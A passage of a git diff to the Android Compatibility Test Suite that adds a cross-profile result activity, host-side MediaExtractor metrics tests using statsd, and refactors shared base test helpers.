+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.crossprofileappstest;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Context;
+import android.os.Bundle;
+
+import androidx.annotation.Nullable;
+
+/** An activity that sets the result as {@link #RESULT_CODE} then finishes. */
+public class CrossProfileResultReturnerActivity extends Activity {
+ static final int RESULT_CODE = 998;
+
+ @Override
+ protected void onCreate(@Nullable Bundle savedInstanceState) {
+ setResult(RESULT_CODE);
+ finish();
+ }
+
+ static ComponentName buildComponentName(Context context) {
+ return new ComponentName(context, CrossProfileResultReturnerActivity.class);
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java b/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java
index 1da1202..eef1577 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java
+++ b/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java
@@ -93,6 +93,7 @@
private Intent getHttpIntent() {
Intent i = new Intent(Intent.ACTION_VIEW);
i.addCategory(Intent.CATEGORY_BROWSABLE);
+ i.addCategory(Intent.CATEGORY_DEFAULT);
i.setData(Uri.parse("http://com.android.cts.intent.receiver"));
return i;
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
index 345c91e..ddaf864 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
@@ -168,6 +168,8 @@
@LargeTest
@Test
public void testStartActivityIntent_sameTaskByDefault() throws Exception {
+ // TODO(b/171957840): replace with device-side test using an inter-process communication
+ // library.
if (!mHasManagedUserFeature) {
return;
}
@@ -194,6 +196,21 @@
@LargeTest
@Test
+ public void testStartActivityIntent_crossProfile_returnsResult() throws Exception {
+ // TODO(b/171957840): replace with device-side test using an inter-process communication
+ // library.
+ if (!mHasManagedUserFeature) {
+ return;
+ }
+ verifyCrossProfileAppsApi(
+ mProfileId,
+ mPrimaryUserId,
+ START_ACTIVITY_TEST_CLASS,
+ "testStartActivityIntent_crossProfile_returnsResult");
+ }
+
+ @LargeTest
+ @Test
public void testPrimaryUserToSecondaryUser() throws Exception {
if (!mCanTestMultiUser) {
return;
diff --git a/hostsidetests/media/TEST_MAPPING b/hostsidetests/media/TEST_MAPPING
new file mode 100644
index 0000000..e7796eb
--- /dev/null
+++ b/hostsidetests/media/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+ "presubmit": [
+ {
+ "name": "CtsMediaHostTestCases"
+ }
+ ]
+}
diff --git a/hostsidetests/media/app/MediaExtractorTest/Android.bp b/hostsidetests/media/app/MediaExtractorTest/Android.bp
new file mode 100644
index 0000000..f5b32ab
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/Android.bp
@@ -0,0 +1,54 @@
+// Copyright 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsMediaExtractorHostTestApp",
+ defaults: ["cts_defaults"],
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ jni_libs: ["libCtsMediaExtractorHostTestAppJni"],
+ static_libs: [
+ "androidx.test.ext.junit",
+ "compatibility-device-util-axt",
+ "ctstestrunner-axt",
+ ],
+ compile_multilib: "both",
+ sdk_version: "test_current",
+}
+
+cc_test_library {
+ name: "libCtsMediaExtractorHostTestAppJni",
+ srcs: ["jni/MediaExtractorDeviceSideTestNative.cpp"],
+ shared_libs: [
+ "liblog",
+ "libmediandk",
+ "libandroid",
+ "libnativehelper_compat_libc++",
+ ],
+ include_dirs: [
+ "frameworks/av/media/ndk/include/media",
+ ],
+ stl: "libc++_static",
+ cflags: [
+ "-Werror",
+ "-Wall",
+ ],
+ gtest: false,
+ sdk_version: "current",
+}
diff --git a/hostsidetests/media/app/MediaExtractorTest/AndroidManifest.xml b/hostsidetests/media/app/MediaExtractorTest/AndroidManifest.xml
new file mode 100644
index 0000000..75f05b1
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.media.cts">
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.media.cts"
+ android:label="Device test app for MediaExtractor host side tests.">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
+</manifest>
diff --git a/hostsidetests/media/app/MediaExtractorTest/assets/raw/small_sample.mp4 b/hostsidetests/media/app/MediaExtractorTest/assets/raw/small_sample.mp4
new file mode 100644
index 0000000..a49c1cd
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/assets/raw/small_sample.mp4
Binary files differ
diff --git a/hostsidetests/media/app/MediaExtractorTest/jni/MediaExtractorDeviceSideTestNative.cpp b/hostsidetests/media/app/MediaExtractorTest/jni/MediaExtractorDeviceSideTestNative.cpp
new file mode 100644
index 0000000..b39d99b
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/jni/MediaExtractorDeviceSideTestNative.cpp
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <NdkMediaExtractor.h>
+#include <android/asset_manager.h>
+#include <android/asset_manager_jni.h>
+#include <jni.h>
+#include <nativehelper/ScopedUtfChars.h>
+#include <thread>
+
+extern "C" JNIEXPORT void JNICALL
+Java_android_media_cts_MediaExtractorDeviceSideTest_extractUsingNdkMediaExtractor(
+ JNIEnv* env, jobject, jobject assetManager, jstring assetPath, jboolean withAttachedJvm) {
+ ScopedUtfChars scopedPath(env, assetPath);
+
+ AAssetManager* nativeAssetManager = AAssetManager_fromJava(env, assetManager);
+ AAsset* asset = AAssetManager_open(nativeAssetManager, scopedPath.c_str(), AASSET_MODE_RANDOM);
+ off_t start;
+ off_t length;
+ int fd = AAsset_openFileDescriptor(asset, &start, &length);
+
+ auto mediaExtractorTask = [=]() {
+ AMediaExtractor* mediaExtractor = AMediaExtractor_new();
+ AMediaExtractor_setDataSourceFd(mediaExtractor, fd, start, length);
+ AMediaExtractor_delete(mediaExtractor);
+ };
+
+ if (withAttachedJvm) {
+ // The currently running thread is a Java thread so it has an attached JVM.
+ mediaExtractorTask();
+ } else {
+ // We want to run the MediaExtractor calls on a thread with no JVM, so we spawn a new native
+ // thread which will not have an associated JVM. We execute the MediaExtractor calls on the
+ // new thread, and immediately join its execution so as to wait for its completion.
+ std::thread(mediaExtractorTask).join();
+ }
+ // TODO: Make resource management automatic through scoped handles.
+ close(fd);
+ AAsset_close(asset);
+}
diff --git a/hostsidetests/media/app/MediaExtractorTest/src/android/media/cts/MediaExtractorDeviceSideTest.java b/hostsidetests/media/app/MediaExtractorTest/src/android/media/cts/MediaExtractorDeviceSideTest.java
new file mode 100644
index 0000000..51b2faf
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/src/android/media/cts/MediaExtractorDeviceSideTest.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import android.content.res.AssetFileDescriptor;
+import android.content.res.AssetManager;
+import android.media.MediaExtractor;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/** Test class used by host-side tests to trigger {@link MediaExtractor} media metric events. */
+@RunWith(AndroidJUnit4.class)
+public class MediaExtractorDeviceSideTest {
+
+ static {
+ System.loadLibrary("CtsMediaExtractorHostTestAppJni");
+ }
+
+ private static final String SAMPLE_PATH = "raw/small_sample.mp4";
+ private AssetManager mAssetManager;
+
+ @Before
+ public void setUp() {
+ mAssetManager = InstrumentationRegistry.getInstrumentation().getContext().getAssets();
+ }
+
+ @Test
+ public void testEntryPointSdk() throws Exception {
+ MediaExtractor mediaExtractor = new MediaExtractor();
+ AssetManager assetManager =
+ InstrumentationRegistry.getInstrumentation().getContext().getAssets();
+ try (AssetFileDescriptor fileDescriptor = assetManager.openFd(SAMPLE_PATH)) {
+ mediaExtractor.setDataSource(fileDescriptor);
+ }
+ mediaExtractor.release();
+ }
+
+ @Test
+ public void testEntryPointNdkNoJvm() {
+ extractUsingNdkMediaExtractor(mAssetManager, SAMPLE_PATH, /* withAttachedJvm= */ false);
+ }
+
+ @Test
+ public void testEntryPointNdkWithJvm() {
+ extractUsingNdkMediaExtractor(mAssetManager, SAMPLE_PATH, /* withAttachedJvm= */ true);
+ }
+
+ private native void extractUsingNdkMediaExtractor(
+ AssetManager assetManager, String assetPath, boolean withAttachedJvm);
+}
diff --git a/hostsidetests/media/src/android/media/cts/BaseMediaHostSideTest.java b/hostsidetests/media/src/android/media/cts/BaseMediaHostSideTest.java
new file mode 100644
index 0000000..ddce632
--- /dev/null
+++ b/hostsidetests/media/src/android/media/cts/BaseMediaHostSideTest.java
@@ -0,0 +1,165 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.result.TestDescription;
+import com.android.tradefed.result.TestResult;
+import com.android.tradefed.result.TestRunResult;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.io.FileNotFoundException;
+import java.util.Map;
+import java.util.concurrent.TimeUnit;
+
+import javax.annotation.Nonnull;
+import javax.annotation.Nullable;
+
+/** Base class for host-side tests for media APIs. */
+public class BaseMediaHostSideTest extends DeviceTestCase implements IBuildReceiver {
+ private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
+
+ /**
+ * The defined timeout (in milliseconds) is used as a maximum waiting time when expecting the
+ * command output from the device. At any time, if the shell command does not output anything
+ * for a period longer than the defined timeout the Tradefed run terminates.
+ */
+ private static final long DEFAULT_SHELL_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
+
+ /** Instrumentation test runner argument key used for individual test timeout. */
+ protected static final String TEST_TIMEOUT_INST_ARGS_KEY = "timeout_msec";
+
+ /**
+ * Sets timeout (in milliseconds) that will be applied to each test. In the event of a test
+ * timeout it will log the results and proceed with executing the next test.
+ */
+ private static final long DEFAULT_TEST_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
+
+ protected IBuildInfo mCtsBuild;
+
+ @Override
+ public void setBuild(IBuildInfo buildInfo) {
+ mCtsBuild = buildInfo;
+ }
+
+ /**
+ * Runs tests on the device.
+ *
+ * @param pkgName The test package file name that contains the test.
+ * @param testClassName The class name to test within the test package. If {@code null}, runs
+ * all test classes in the package.
+ * @param testMethodName Method name to test within the test class. Ignored if {@code
+ * testClassName} is {@code null}. If {@code null}, runs all test classes in the class.
+ */
+ protected void runDeviceTests(
+ String pkgName, @Nullable String testClassName, @Nullable String testMethodName)
+ throws DeviceNotAvailableException {
+ RemoteAndroidTestRunner testRunner = getTestRunner(pkgName, testClassName, testMethodName);
+ CollectingTestListener listener = new CollectingTestListener();
+ assertTrue(getDevice().runInstrumentationTests(testRunner, listener));
+ assertTestsPassed(listener.getCurrentRunResults());
+ }
+
+ /**
+ * Excutes shell command and returns the result.
+ *
+ * @param command The command to run.
+ * @return The result from the command. If the result was {@code null}, empty string ("") will
+ * be returned instead. Otherwise, trimmed result will be returned.
+ */
+ protected @Nonnull String executeShellCommand(String command) throws Exception {
+ LogUtil.CLog.d("Starting command " + command);
+ String commandOutput = getDevice().executeShellCommand(command);
+ LogUtil.CLog.d("Output for command " + command + ": " + commandOutput);
+ return commandOutput != null ? commandOutput.trim() : "";
+ }
+
+ /** Installs the app with the given {@code appFileName}. */
+ protected void installApp(String appFileName)
+ throws FileNotFoundException, DeviceNotAvailableException {
+ LogUtil.CLog.d("Installing app " + appFileName);
+ CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+ String result =
+ getDevice()
+ .installPackage(
+ buildHelper.getTestFile(appFileName),
+ /* reinstall= */ true,
+ /* grantPermissions= */ true,
+ "-t"); // Signals that this is a test APK.
+ assertNull("Failed to install " + appFileName + ": " + result, result);
+ }
+
+ /** Returns a {@link RemoteAndroidTestRunner} for the given test parameters. */
+ protected RemoteAndroidTestRunner getTestRunner(
+ String pkgName, String testClassName, String testMethodName) {
+ if (testClassName != null && testClassName.startsWith(".")) {
+ testClassName = pkgName + testClassName;
+ }
+
+ RemoteAndroidTestRunner testRunner =
+ new RemoteAndroidTestRunner(pkgName, RUNNER, getDevice().getIDevice());
+ testRunner.setMaxTimeToOutputResponse(DEFAULT_SHELL_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+ testRunner.addInstrumentationArg(
+ TEST_TIMEOUT_INST_ARGS_KEY, Long.toString(DEFAULT_TEST_TIMEOUT_MILLIS));
+ if (testClassName != null && testMethodName != null) {
+ testRunner.setMethodName(testClassName, testMethodName);
+ } else if (testClassName != null) {
+ testRunner.setClassName(testClassName);
+ }
+ return testRunner;
+ }
+
+ /**
+ * Asserts that {@code testRunResult} contains at least one test, and that all tests passed.
+ *
+ * <p>If the assertion fails, an {@link AssertionError} with a descriptive message is thrown.
+ */
+ protected void assertTestsPassed(TestRunResult testRunResult) {
+ if (testRunResult.isRunFailure()) {
+ throw new AssertionError(
+ "Failed to successfully run device tests for "
+ + testRunResult.getName()
+ + ": "
+ + testRunResult.getRunFailureMessage());
+ }
+ if (testRunResult.getNumTests() == 0) {
+ throw new AssertionError("No tests were run on the device");
+ }
+
+ if (testRunResult.hasFailedTests()) {
+ // Build a meaningful error message
+ StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
+ for (Map.Entry<TestDescription, TestResult> resultEntry :
+ testRunResult.getTestResults().entrySet()) {
+ if (!resultEntry
+ .getValue()
+ .getStatus()
+ .equals(com.android.ddmlib.testrunner.TestResult.TestStatus.PASSED)) {
+ errorBuilder.append(resultEntry.getKey().toString());
+ errorBuilder.append(":\n");
+ errorBuilder.append(resultEntry.getValue().getStackTrace());
+ }
+ }
+ throw new AssertionError(errorBuilder.toString());
+ }
+ }
+}
diff --git a/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java b/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
index 08461fb..1a03581 100644
--- a/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
+++ b/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
@@ -43,26 +43,7 @@
/**
* Base class for host-side tests for multi-user aware media APIs.
*/
-public class BaseMultiUserTest extends DeviceTestCase implements IBuildReceiver {
- private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
-
- /**
- * The defined timeout (in milliseconds) is used as a maximum waiting time when expecting the
- * command output from the device. At any time, if the shell command does not output anything
- * for a period longer than the defined timeout the Tradefed run terminates.
- */
- private static final long DEFAULT_SHELL_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
-
- /**
- * Instrumentation test runner argument key used for individual test timeout
- **/
- protected static final String TEST_TIMEOUT_INST_ARGS_KEY = "timeout_msec";
-
- /**
- * Sets timeout (in milliseconds) that will be applied to each test. In the
- * event of a test timeout it will log the results and proceed with executing the next test.
- */
- private static final long DEFAULT_TEST_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
+public class BaseMultiUserTest extends BaseMediaHostSideTest {
private static final String SETTINGS_PACKAGE_VERIFIER_NAMESPACE = "global";
private static final String SETTINGS_PACKAGE_VERIFIER_NAME = "package_verifier_enable";
@@ -78,7 +59,6 @@
*/
protected static final int USER_SYSTEM = 0;
- private IBuildInfo mCtsBuild;
private String mPackageVerifier;
private Set<String> mExistingPackages;
@@ -104,7 +84,7 @@
"0",
USER_ALL);
- mExistingUsers = new ArrayList();
+ mExistingUsers = new ArrayList<>();
int primaryUserId = getDevice().getPrimaryUserId();
mExistingUsers.add(primaryUserId);
mExistingUsers.add(USER_SYSTEM);
@@ -139,11 +119,6 @@
super.tearDown();
}
- @Override
- public void setBuild(IBuildInfo buildInfo) {
- mCtsBuild = buildInfo;
- }
-
/**
* Installs the app as if the user of the ID {@param userId} has installed the app.
*
@@ -165,20 +140,6 @@
result);
}
- /**
- * Excutes shell command and returns the result.
- *
- * @param command command to run.
- * @return result from the command. If the result was {@code null}, empty string ("") will be
- * returned instead. Otherwise, trimmed result will be returned.
- */
- protected @Nonnull String executeShellCommand(final String command) throws Exception {
- CLog.d("Starting command " + command);
- String commandOutput = getDevice().executeShellCommand(command);
- CLog.d("Output for command " + command + ": " + commandOutput);
- return commandOutput != null ? commandOutput.trim() : "";
- }
-
private int createAndStartUser(String extraParam) throws Exception {
String command = "pm create-user" + extraParam + " TestUser_" + System.currentTimeMillis();
String commandOutput = executeShellCommand(command);
@@ -248,49 +209,15 @@
* {@code null}.
* @param userId user ID to run the tests as.
*/
- protected void runDeviceTestsAsUser(
+ protected void runDeviceTests(
String pkgName, @Nullable String testClassName,
@Nullable String testMethodName, int userId) throws DeviceNotAvailableException {
- if (testClassName != null && testClassName.startsWith(".")) {
- testClassName = pkgName + testClassName;
- }
-
- RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
- pkgName, RUNNER, getDevice().getIDevice());
- testRunner.setMaxTimeToOutputResponse(DEFAULT_SHELL_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
- testRunner.addInstrumentationArg(
- TEST_TIMEOUT_INST_ARGS_KEY, Long.toString(DEFAULT_TEST_TIMEOUT_MILLIS));
- if (testClassName != null && testMethodName != null) {
- testRunner.setMethodName(testClassName, testMethodName);
- } else if (testClassName != null) {
- testRunner.setClassName(testClassName);
- }
-
+ RemoteAndroidTestRunner testRunner = getTestRunner(pkgName, testClassName, testMethodName);
CollectingTestListener listener = new CollectingTestListener();
assertTrue(getDevice().runInstrumentationTestsAsUser(testRunner, userId, listener));
final TestRunResult result = listener.getCurrentRunResults();
- if (result.isRunFailure()) {
- throw new AssertionError("Failed to successfully run device tests for "
- + result.getName() + ": " + result.getRunFailureMessage());
- }
- if (result.getNumTests() == 0) {
- throw new AssertionError("No tests were run on the device");
- }
-
- if (result.hasFailedTests()) {
- // Build a meaningful error message
- StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
- for (Map.Entry<TestDescription, TestResult> resultEntry :
- result.getTestResults().entrySet()) {
- if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
- errorBuilder.append(resultEntry.getKey().toString());
- errorBuilder.append(":\n");
- errorBuilder.append(resultEntry.getValue().getStackTrace());
- }
- }
- throw new AssertionError(errorBuilder.toString());
- }
+ assertTestsPassed(result);
}
/**
diff --git a/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java b/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
new file mode 100644
index 0000000..c06603c
--- /dev/null
+++ b/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
@@ -0,0 +1,173 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.stats.mediametrics.Mediametrics;
+
+import com.android.internal.os.StatsdConfigProto;
+import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+
+import com.google.common.io.Files;
+
+import java.io.File;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.stream.Collectors;
+
+/** Host-side tests for MediaExtractor. */
+public class MediaExtractorHostSideTest extends BaseMediaHostSideTest {
+ /** Package name of the device-side tests. */
+ private static final String DEVICE_SIDE_TEST_PACKAGE = "android.media.cts";
+ /** Name of the APK that contains the device-side tests. */
+ private static final String DEVICE_SIDE_TEST_APK = "CtsMediaExtractorHostTestApp.apk";
+ /** Fully qualified class name for the device-side tests. */
+ private static final String DEVICE_SIDE_TEST_CLASS =
+ "android.media.cts.MediaExtractorDeviceSideTest";
+
+ private static final long CONFIG_ID = "cts_config".hashCode();
+
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+ installApp(DEVICE_SIDE_TEST_APK);
+ removeConfig(); // Clear existing configs.
+ createAndUploadConfig();
+ getAndClearReportList(); // Clear existing reports.
+ }
+
+ @Override
+ public void tearDown() throws Exception {
+ removeConfig();
+ getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+ }
+
+ // Tests.
+
+ public void testMediaMetricsEntryPointSdk() throws Exception {
+ runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, DEVICE_SIDE_TEST_CLASS, "testEntryPointSdk");
+ assertThat(getMediaExtractorReportedEntryPoint())
+ .isEqualTo(Mediametrics.ExtractorData.EntryPoint.SDK);
+ }
+
+ public void testMediaMetricsEntryPointNdkNoJvm() throws Exception {
+ runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, DEVICE_SIDE_TEST_CLASS, "testEntryPointNdkNoJvm");
+ assertThat(getMediaExtractorReportedEntryPoint())
+ .isEqualTo(Mediametrics.ExtractorData.EntryPoint.NDK_NO_JVM);
+ }
+
+ public void testMediaMetricsEntryPointNdkWithJvm() throws Exception {
+ runDeviceTests(
+ DEVICE_SIDE_TEST_PACKAGE, DEVICE_SIDE_TEST_CLASS, "testEntryPointNdkWithJvm");
+ assertThat(getMediaExtractorReportedEntryPoint())
+ .isEqualTo(Mediametrics.ExtractorData.EntryPoint.NDK_WITH_JVM);
+ }
+
+ // Internal methods.
+
+ /** Removes any existing config with id {@link #CONFIG_ID}. */
+ private void removeConfig() throws Exception {
+ getDevice().executeShellCommand("cmd stats config remove " + CONFIG_ID);
+ }
+
+ /** Creates the statsd config and passes it to statsd. */
+ private void createAndUploadConfig() throws Exception {
+ StatsdConfig.Builder configBuilder =
+ StatsdConfigProto.StatsdConfig.newBuilder()
+ .setId(CONFIG_ID)
+ .addAllowedLogSource(DEVICE_SIDE_TEST_PACKAGE)
+ .addWhitelistedAtomIds(
+ AtomsProto.Atom.MEDIAMETRICS_EXTRACTOR_REPORTED_FIELD_NUMBER);
+ addAtomEvent(configBuilder);
+ uploadConfig(configBuilder.build());
+ }
+
+ /** Writes the given config into a file and passes is to statsd via standard input. */
+ private void uploadConfig(StatsdConfig config) throws Exception {
+ File configFile = File.createTempFile("statsdconfig", ".config");
+ configFile.deleteOnExit();
+ Files.write(config.toByteArray(), configFile);
+ String remotePath = "/data/local/tmp/" + configFile.getName();
+ // Make sure a config file with the same name doesn't exist already.
+ getDevice().deleteFile(remotePath);
+ assertThat(getDevice().pushFile(configFile, remotePath)).isTrue();
+ getDevice()
+ .executeShellCommand(
+ "cat " + remotePath + " | cmd stats config update " + CONFIG_ID);
+ getDevice().deleteFile(remotePath);
+ }
+
+ /** Adds an event to the config in order to match MediaParser reported atoms. */
+ private static void addAtomEvent(StatsdConfig.Builder config) {
+ String atomName = "Atom" + System.nanoTime();
+ String eventName = "Event" + System.nanoTime();
+ SimpleAtomMatcher.Builder sam =
+ SimpleAtomMatcher.newBuilder()
+ .setAtomId(AtomsProto.Atom.MEDIAMETRICS_EXTRACTOR_REPORTED_FIELD_NUMBER);
+ config.addAtomMatcher(
+ StatsdConfigProto.AtomMatcher.newBuilder()
+ .setId(atomName.hashCode())
+ .setSimpleAtomMatcher(sam));
+ config.addEventMetric(
+ StatsdConfigProto.EventMetric.newBuilder()
+ .setId(eventName.hashCode())
+ .setWhat(atomName.hashCode()));
+ }
+
+ /**
+ * Returns all MediaParser reported metric events sorted by timestamp.
+ *
+ * <p>Note: Calls {@link #getAndClearReportList()} to obtain the statsd report.
+ */
+ private Mediametrics.ExtractorData.EntryPoint getMediaExtractorReportedEntryPoint()
+ throws Exception {
+ ConfigMetricsReportList reportList = getAndClearReportList();
+ assertThat(reportList.getReportsCount()).isEqualTo(1);
+ StatsLog.ConfigMetricsReport report = reportList.getReports(0);
+ ArrayList<StatsLog.EventMetricData> data = new ArrayList<>();
+ report.getMetricsList()
+ .forEach(
+ statsLogReport ->
+ data.addAll(statsLogReport.getEventMetrics().getDataList()));
+ List<AtomsProto.MediametricsExtractorReported> mediametricsExtractorReported =
+ data.stream()
+ .map(element -> element.getAtom().getMediametricsExtractorReported())
+ .collect(Collectors.toList());
+ // During device boot, services may extract media files. We ensure we only pick up metric
+ // events from our device-side test.
+ mediametricsExtractorReported.removeIf(
+ entry -> !DEVICE_SIDE_TEST_PACKAGE.equals(entry.getPackageName()));
+ assertThat(mediametricsExtractorReported).hasSize(1);
+ return mediametricsExtractorReported.get(0).getExtractorData().getEntryPoint();
+ }
+
+ /** Gets a statsd report and removes it from the device. */
+ private ConfigMetricsReportList getAndClearReportList() throws Exception {
+ CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+ getDevice()
+ .executeShellCommand(
+ "cmd stats dump-report " + CONFIG_ID + " --include_current_bucket --proto",
+ receiver);
+ return ConfigMetricsReportList.parser().parseFrom(receiver.getOutput());
+ }
+}
diff --git a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
index e4956b0..870893c 100644
--- a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
+++ b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
@@ -253,7 +253,9 @@
@AppModeFull
@RequiresDevice
- public void testIsTrusted_withEnabledNotificationListener_returnsTrue() throws Exception {
+ // Ignored due to b/171012388.
+ public void ignored_testIsTrusted_withEnabledNotificationListener_returnsTrue()
+ throws Exception {
if (!canCreateAdditionalUsers(1)) {
CLog.logAndDisplay(LogLevel.INFO,
"Cannot create a new user. Skipping multi-user test cases.");
@@ -288,8 +290,7 @@
private void runTestAsUser(String testMethodName, int userId)
throws DeviceNotAvailableException {
